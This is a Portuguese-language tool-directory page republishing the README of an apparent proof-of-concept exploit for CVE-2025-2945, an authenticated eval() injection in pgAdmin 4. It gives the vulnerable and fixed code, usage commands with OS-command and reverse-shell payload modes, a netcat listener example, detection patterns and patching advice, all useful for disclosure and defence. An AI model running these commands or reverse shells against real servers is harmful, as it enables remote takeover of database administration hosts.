Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-2945-pgAdmin-RCE — PoC para CVE-2025-2945 — injeção RCE via eval() autenticada no pgAdmin 4, CVSS 9.9 | Kitploit
Ferramentas/GitHubGitHub/khashayarnzk/cve-2025-2945-pgadmin-rce
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoFerramenta de Acesso Remoto
GitHubkhashayarnzk/cve-2025-2945-pgadmin-rce

CVE-2025-2945-pgAdmin-RCE

PoC para CVE-2025-2945 — injeção RCE via eval() autenticada no pgAdmin 4, CVSS 9.9

Ver Repositório
9há 21 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-2945 — Execução Remota de Código na Ferramenta de Consulta do pgAdmin 4

CVSS 3.1: 9.9 (Crítico) · Afeta: pgAdmin 4 8.10 – 9.1 · Corrigido em: 9.2 (4 de abril de 2025) CWE-95 (Neutralização Incorreta de Diretivas em Código Avaliado Dinamicamente / Injeção de Eval)

Uma prova de conceito de exploração para CVE-2025-2945, uma vulnerabilidade de execução remota de código autenticada na Ferramenta de Consulta do pgAdmin 4. Um sinalizador booleano de estado de transação (query_commited) é passado diretamente para eval() do Python em vez de ser analisado como booleano, permitindo que um usuário autenticado execute Python arbitrário — e, por extensão, comandos arbitrários do sistema operacional — sob os privilégios do processo de serviço do pgAdmin. O mesmo anti-padrão está presente uma segunda vez no provedor Google do módulo de Implantação em Nuvem (high_availability).

Um artigo técnico completo cobrindo a causa raiz, a lógica de exploração, orientações de detecção e remediação está disponível aqui: khashayarnazarkardeh.com — Field Notes


Resumo da Vulnerabilidade

Código vulnerável (web/pgadmin/tools/sqleditor/__init__.py):

root@kitploit:~
if key == 'query_commited':
    query_commited = (
        eval(value) if isinstance(value, str) else value
    )

Código corrigido (pgAdmin 9.2+):

root@kitploit:~
query_commited = (
    value.lower() in ('true', '1') if isinstance(value, str) else value
)

A vulnerabilidade exige uma sessão autenticada do pgAdmin e uma transação da Ferramenta de Consulta vinculada a um servidor de banco de dados já registrado na conta de destino. Ambos são pré-condições comuns em implantações reais, onde o pgAdmin é tipicamente pré-configurado com uma ou mais conexões de servidor salvas.

Requisitos

  • Python 3.8+
  • Uma conta web válida do pgAdmin (--username / --password)
  • Credenciais para um servidor de banco de dados já registrado nessa conta do pgAdmin (--db-user / --db-password / --db-name)
  • Alvo executando pgAdmin 4 entre 8.10 e 9.1 (inclusive)

Instalação

root@kitploit:~
git clone https://github.com/Khashayarnzk/CVE-2025-2945.git
cd CVE-2025-2945
pip install -r requirements.txt

Uso

root@kitploit:~
python3 CVE-2025-2945.py \
    --host <alvo> --port 80 \
    --username <email-pgadmin> --password <senha-pgadmin> \
    --db-user <usuario-db> --db-password <senha-db> --db-name <nome-db> \
    --cmd id

Modos de payload (escolha um)

FlagDescrição
--cmd COMANDOExecuta um único comando do sistema operacional via os.system()
--reverse-shell HOST:PORTAGera um shell reverso via named pipe para um listener que você controla
--raw-payload EXPRPassa uma expressão Python bruta diretamente para o sink vulnerável eval()

Exemplo — shell reverso

root@kitploit:~
# No seu host de ataque, em um terminal separado:
nc -lvnp 4444

# Execute o exploit:
python3 CVE-2025-2945.py \
    --host pgadmin.internal.example.com --port 80 \
    --username [email protected] --password 'correct-horse-battery-staple' \
    --db-user postgres --db-password postgres --db-name postgres \
    --reverse-shell 10.10.14.5:4444

Opções completas

root@kitploit:~
python3 CVE-2025-2945.py --help

Detecção

Os defensores devem monitorar:

  • Requisições POST para /sqleditor/query_tool/download/<trans_id> ou /cloud/deploy onde query_commited / high_availability seja qualquer coisa diferente de um literal "true", "false", "1" ou "0".
  • Primitivas de execução Python (__import__, os.system, subprocess, eval, exec, open() aparecendo em qualquer um dos parâmetros.
  • Processos filhos inesperados gerados pela conta de serviço do pgAdmin, particularmente interpretadores de shell ou utilitários de rede.

Remediação

Atualize para pgAdmin 4 9.2 ou posterior. O patch é uma correção mínima de coerção booleana de baixo risco. Quando a aplicação imediata do patch não for possível, restrinja o acesso de rede ao pgAdmin a redes autenticadas e confiáveis, e desative o módulo de Implantação em Nuvem para contas que não o exijam.

Referências

  • NVD — CVE-2025-2945
  • GitHub Security Advisory — GHSA-g73c-fw68-pwx3
  • pgAdmin issue #8603
  • Commit de correção — 75be0bc

Autor

Khashayar Nazarkardeh — Líder de Segurança Cibernética e de IA khashayarnazarkardeh.com · @Khashayarnzk

Aviso Legal

Esta ferramenta é fornecida apenas para testes de segurança autorizados, pesquisa e fins educacionais. Executá-la contra qualquer sistema sem autorização explícita e documentada do proprietário do sistema é ilegal na maioria das jurisdições. O autor não assume nenhuma responsabilidade pelo uso indevido deste software. Ao usar este script, você concorda que é o único responsável por garantir que tem permissão para testar o alvo.

Baixar ferramenta